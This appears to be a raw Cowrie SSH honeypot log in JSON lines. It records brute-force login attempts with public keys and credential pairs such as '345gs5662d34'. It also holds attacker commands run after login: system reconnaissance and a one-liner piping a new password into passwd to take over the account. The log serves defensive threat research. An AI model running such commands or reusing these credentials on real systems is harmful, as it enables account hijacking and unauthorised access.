{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:1d:04:d5:fa:41:e4:9f:2a:b0:a1:32:8d:a0:11:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcr2i6MpMk+LCB6kQBA4rPzir8EBZ0AgOJN0BuLZi0WF8nZX+kIqvSNzMVq1vv2N/sLQCT4RLAKHW00y+MQ9/gXYoE+YGRV485UELk+aIjTWj/djqOS6Zs1OQ+8tg9hpG+ol3kZ3sXwiPzwUilqLLHlTcNC4WCOm/vFg6K3xW99erWb4LMx0VnFGHBYP2lXN3KB+nJsmzDCkWPZrZdUpaeC7oojuN+s61W3Y50XKMbOSrSElVdhs5mrlbdblIemqxQoZ6/RZEhKHTExZC9vfAgkw/GrPZ0OI0kbkTwEsPx9umYiVFySeTqFdEguvqmR/9RyYQ+DJqpK/Jg5C/2hMenz/KqcfoqtPVPWH2kSY8YmcuXcq9vrXctiHxJnfLma08IowASPxxw0WdTCRk94FuQYlGNmjIZQ8yoJuVDb5g/kDfTQDYcgt2LMBHRGrKtymT/tQ/2l2GofbEFL6jJ9HaNEGxePuDlZhJXx5lBeUNGf0Wd6DW3wLqXNpP0b7JqgQk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.877842Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:49:e1:45:a5:8e:93:12:d6:6a:6a:4c:03:28:4f:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTqD9+6mdPqYPPUxshks04wcVzK2lW+ecmb1MDrAV1wh9vb9Jb92IQlaUMOHyYBqrVKHZY4WYNoz5RuV06rHZCR6emIZRbA1xFM/si7F926H5d00l06X/0sG2kjvdc7tMEWNTfhcJ9yjU8G6ia9MZAMdc9D3g8XuH2xJ6PGvhxaoJ1BB334NWaokNpk3my7iWdWrPHidoUusichUX8UFxv+oiwk5nHhlLmfj2+YFiRC2dREViV+oOa4+oq/fJthvSMX+v8xUdiW78RYwfTBrMdH9wyuVDbSiOU+ix5PKUXXLeQT8jQooshkgZqdK8ZPHqdbQ/hgTXMTcZhaQG3dr22whlxz+KqQb0lwOvvg8B5f5Ws5WtImNTqM5LWHT1ij6/2Mi8SeuQ92RYFYTzahZpWeudmUrDC7UgfpoZYb5gVMs8sy4F939Z48DUIi2rUAygXQVMMh9QC2ufSg3cgiSgHYCcwSnRtMGloLSUvLwXdO2NHNmB7uqOOPjh+bmcyaYmUOBEiZ8ZU9nGlZ+uu8yeNWa9pts/8lbypA+wS6hC4NRVQqD/JK+6g2DSIfLQHWlx4eJzCngGBeNwdiN3aJQZn8KRIkKMcyAoEiQrgyPK6P/qoD2//ZDGan6PyVpXErsLX2VKwKlc3cI8FzYCsgBwDRHiRnTy20GTFmZmv8SsfQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:49:e1:45:a5:8e:93:12:d6:6a:6a:4c:03:28:4f:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.979338Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:49:e1:45:a5:8e:93:12:d6:6a:6a:4c:03:28:4f:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTqD9+6mdPqYPPUxshks04wcVzK2lW+ecmb1MDrAV1wh9vb9Jb92IQlaUMOHyYBqrVKHZY4WYNoz5RuV06rHZCR6emIZRbA1xFM/si7F926H5d00l06X/0sG2kjvdc7tMEWNTfhcJ9yjU8G6ia9MZAMdc9D3g8XuH2xJ6PGvhxaoJ1BB334NWaokNpk3my7iWdWrPHidoUusichUX8UFxv+oiwk5nHhlLmfj2+YFiRC2dREViV+oOa4+oq/fJthvSMX+v8xUdiW78RYwfTBrMdH9wyuVDbSiOU+ix5PKUXXLeQT8jQooshkgZqdK8ZPHqdbQ/hgTXMTcZhaQG3dr22whlxz+KqQb0lwOvvg8B5f5Ws5WtImNTqM5LWHT1ij6/2Mi8SeuQ92RYFYTzahZpWeudmUrDC7UgfpoZYb5gVMs8sy4F939Z48DUIi2rUAygXQVMMh9QC2ufSg3cgiSgHYCcwSnRtMGloLSUvLwXdO2NHNmB7uqOOPjh+bmcyaYmUOBEiZ8ZU9nGlZ+uu8yeNWa9pts/8lbypA+wS6hC4NRVQqD/JK+6g2DSIfLQHWlx4eJzCngGBeNwdiN3aJQZn8KRIkKMcyAoEiQrgyPK6P/qoD2//ZDGan6PyVpXErsLX2VKwKlc3cI8FzYCsgBwDRHiRnTy20GTFmZmv8SsfQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:15.983376Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:3b:36:cf:4b:16:97:1b:cd:01:e9:f7:ba:02:12:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPdZEoFKeKKB707rN4hMF+HtPE65DcG9hkpeZIIBayjWo99w8o7JNYM0hiyJSplFQ7Y2s60muC3wn2qYeWgV7/agFbtMwKLh9e21FS/3zd5vvwDsYnC5DY8dy0HAlevaA+0Wqc31L18LEPHgVK36eoacmp2pO4cy03GRm6FG3zo8VK9iHX5pBAnj1d5d1dQFlhdbdwQShYzc+sziyd0QCKpfiIiQdQMWo4xrgWBdlOzcBhD9jukb3T2r20r8bWWwdlp1+arJW28xOz2wWTD+B3yy23oQ2c3Hd8iDLKTdLmJJpOrtAKLmqCpCwHs0IbJS24ja/0x1kDAPhY28+GBf/YbTwHPqS3FBtJh8c0Ytb7nYmOlU+/Po1CX6JmRtw/p24G64GV3LVTNq3uIXsnD6NeTntsA7/BY4j84W3ChDQYe17F/h2BatMLOJT7MWEcMmwyaHMP4lyWK4/eTrYgtDPJdG2mc6Mjog9UoO+/m/Kp2cF+d2qpkSjUFxFluNolH90=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:3b:36:cf:4b:16:97:1b:cd:01:e9:f7:ba:02:12:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.079877Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:3b:36:cf:4b:16:97:1b:cd:01:e9:f7:ba:02:12:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPdZEoFKeKKB707rN4hMF+HtPE65DcG9hkpeZIIBayjWo99w8o7JNYM0hiyJSplFQ7Y2s60muC3wn2qYeWgV7/agFbtMwKLh9e21FS/3zd5vvwDsYnC5DY8dy0HAlevaA+0Wqc31L18LEPHgVK36eoacmp2pO4cy03GRm6FG3zo8VK9iHX5pBAnj1d5d1dQFlhdbdwQShYzc+sziyd0QCKpfiIiQdQMWo4xrgWBdlOzcBhD9jukb3T2r20r8bWWwdlp1+arJW28xOz2wWTD+B3yy23oQ2c3Hd8iDLKTdLmJJpOrtAKLmqCpCwHs0IbJS24ja/0x1kDAPhY28+GBf/YbTwHPqS3FBtJh8c0Ytb7nYmOlU+/Po1CX6JmRtw/p24G64GV3LVTNq3uIXsnD6NeTntsA7/BY4j84W3ChDQYe17F/h2BatMLOJT7MWEcMmwyaHMP4lyWK4/eTrYgtDPJdG2mc6Mjog9UoO+/m/Kp2cF+d2qpkSjUFxFluNolH90=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.083787Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:0b:5e:1f:8a:dd:6e:20:73:48:91:51:1f:d3:1c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvM4jO7BY0ZmQdOkx+2o0EURPxIWrwRIfbASNsL8IBz1ZwzIwxEAGIGC4/Tcuer7pTx5RlBaM0OL0mp1WMTe4L12c6l0Y7lCD8WOC37xy1rf1onZc+LqyPMIEo7tqSg15a2CAU2lKvIZqLxf8/6PmgY68oOXqGubX6XDuMahwVoaZZFtWHc8H9P5tW+40Zdn5SLSqxmJjUqHdZx2thhDNKT6A2+8GGkUTNiWlvP4beeE4pGB/cmSfwgPnB3pa4pvDxFFsq/5x+0l88KTnYIG9+qVRt6nQuBoWsZgjrdYaIR4vMalZWa8OFZnotfe619NMvz5FHo03Z1Ajm/oBfC2kQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:0b:5e:1f:8a:dd:6e:20:73:48:91:51:1f:d3:1c:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.180843Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:0b:5e:1f:8a:dd:6e:20:73:48:91:51:1f:d3:1c:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvM4jO7BY0ZmQdOkx+2o0EURPxIWrwRIfbASNsL8IBz1ZwzIwxEAGIGC4/Tcuer7pTx5RlBaM0OL0mp1WMTe4L12c6l0Y7lCD8WOC37xy1rf1onZc+LqyPMIEo7tqSg15a2CAU2lKvIZqLxf8/6PmgY68oOXqGubX6XDuMahwVoaZZFtWHc8H9P5tW+40Zdn5SLSqxmJjUqHdZx2thhDNKT6A2+8GGkUTNiWlvP4beeE4pGB/cmSfwgPnB3pa4pvDxFFsq/5x+0l88KTnYIG9+qVRt6nQuBoWsZgjrdYaIR4vMalZWa8OFZnotfe619NMvz5FHo03Z1Ajm/oBfC2kQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.187541Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:05:1e:55:24:20:a0:3c:e7:47:3b:44:a3:56:d2:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChCr44K5+nz2m0ecUSMKk/KbpKNyEoWS6PmXRh2a4mo1P11iyLBgcjm2fRdNkparaz8EuBybCFRifOZSmAlDIco9+r3j/D5Y3gkIuwNGZI8VLmZSxrwd6yTEKWMF2fjR+KBjTY7yt6SDvd5UyyqCArMy7z4eYuE5/CFRo0W6rm4/mI8c3C9f20MVii2zxD9hgNZ2osdPL2ln6v1wB2VAhVzgQtGdc3pXw1Y6gzpRpdjEZo85BVNZZmw4T2PxQc/qsunltkfv/N9aCpqJbZgYVZG46Xb00LW9S630lJC+LLert2UFoMgl/+wzbJnQrk2rs3qIZ7JBYRDp3YevMLIMFJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:05:1e:55:24:20:a0:3c:e7:47:3b:44:a3:56:d2:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.295581Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:05:1e:55:24:20:a0:3c:e7:47:3b:44:a3:56:d2:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChCr44K5+nz2m0ecUSMKk/KbpKNyEoWS6PmXRh2a4mo1P11iyLBgcjm2fRdNkparaz8EuBybCFRifOZSmAlDIco9+r3j/D5Y3gkIuwNGZI8VLmZSxrwd6yTEKWMF2fjR+KBjTY7yt6SDvd5UyyqCArMy7z4eYuE5/CFRo0W6rm4/mI8c3C9f20MVii2zxD9hgNZ2osdPL2ln6v1wB2VAhVzgQtGdc3pXw1Y6gzpRpdjEZo85BVNZZmw4T2PxQc/qsunltkfv/N9aCpqJbZgYVZG46Xb00LW9S630lJC+LLert2UFoMgl/+wzbJnQrk2rs3qIZ7JBYRDp3YevMLIMFJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.300451Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.398759Z","src_ip":"78.111.67.246","session":"a6c4ffb5dd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:16.527659Z","src_ip":"103.107.60.45","session":"0d58ad3fe073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:17.748957Z","src_ip":"103.107.60.45","session":"0d58ad3fe073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":53008,"dst_ip":"10.17.0.5","dst_port":22,"session":"3679f3b9a63f","protocol":"ssh","message":"New connection: 103.107.60.45:53008 (10.17.0.5:22) [session: 3679f3b9a63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:17.955408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:17.960955Z","src_ip":"103.107.60.45","session":"3679f3b9a63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:18.175224Z","src_ip":"103.107.60.45","session":"3679f3b9a63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:19.058976Z","src_ip":"103.107.60.45","session":"3679f3b9a63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:20.275823Z","src_ip":"103.107.60.45","session":"3679f3b9a63f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:20.545472Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:20.549898Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:20.980273Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40218,"dst_ip":"159.203.135.109","dst_port":22,"session":"753703358ef6","protocol":"ssh","message":"New connection: 176.32.39.21:40218 (159.203.135.109:22) [session: 753703358ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.087233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.092503Z","src_ip":"176.32.39.21","session":"753703358ef6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.247043Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin\\ncivjIv4yxPKW\\ncivjIv4yxPKW\"|passwd|bash","message":"CMD: echo -e \"adminadmin\\ncivjIv4yxPKW\\ncivjIv4yxPKW\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.251194Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.256000Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.259802Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.267619Z","src_ip":"176.32.39.21","session":"753703358ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15426378l","message":"login attempt [root/15426378l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.630215Z","src_ip":"176.32.39.21","session":"753703358ef6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1cbb3b3ad92a9806d89db13f53334af67c63d420667ddd51102b1c0df35b4ffa","size":32,"shasum":"1cbb3b3ad92a9806d89db13f53334af67c63d420667ddd51102b1c0df35b4ffa","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/1cbb3b3ad92a9806d89db13f53334af67c63d420667ddd51102b1c0df35b4ffa after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.687872Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.958308Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin\\ncivjIv4yxPKW\\ncivjIv4yxPKW\\n\"|passwd","message":"CMD: echo \"adminadmin\\ncivjIv4yxPKW\\ncivjIv4yxPKW\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:21.962701Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/990053bbc89de16cc98af7339298206302427dad3b4dd5fdfe71c219031a6a33","size":25,"shasum":"990053bbc89de16cc98af7339298206302427dad3b4dd5fdfe71c219031a6a33","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/990053bbc89de16cc98af7339298206302427dad3b4dd5fdfe71c219031a6a33 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:22.388859Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:22.650835Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:22.654377Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:22.780657Z","src_ip":"176.32.39.21","session":"753703358ef6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:23.084797Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:23.350348Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:23.354103Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:23.779414Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.066394Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.070204Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.074116Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
